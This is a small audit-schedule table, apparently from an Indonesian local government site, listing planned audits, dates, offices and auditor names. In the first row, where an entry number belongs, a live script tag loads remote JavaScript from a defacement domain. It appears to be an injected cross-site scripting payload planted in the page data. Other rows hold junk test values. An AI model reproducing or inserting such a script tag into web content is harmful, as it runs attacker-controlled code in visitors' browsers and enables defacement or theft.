| 1 | <script src="https://jso.defacer.id/raw/sriwijaya"></script> | 15 Jun 2026 | Audit Kinerja Dinas PUPR | Dinas PUPR | Drs. Ahmad Fauzi, M.Si | Direncanakan | |
| 2 | 34 | 11 Aug 2025 | MTL Hasil Audit BPK | Hasil Audit BPK | Drs. Ahmad Fauzi, M.Si, Budi Santoso, SE, Lina Marlina, S.Hum | Direncanakan | |
| 3 | kkkk | 11 Aug 2025 | Reviu LKPD 2024 | Seluruh OPD | Siti Rahayu, S.Kom, Budi Santoso, SE | Direncanakan | |
| 4 | 98765676 | 08 Aug 2025 | Audit Kinerja Dinas PUPR | Dinas PUPR | Drs. Ahmad Fauzi, M.Si, Budi Santoso, SE | Direncanakan | |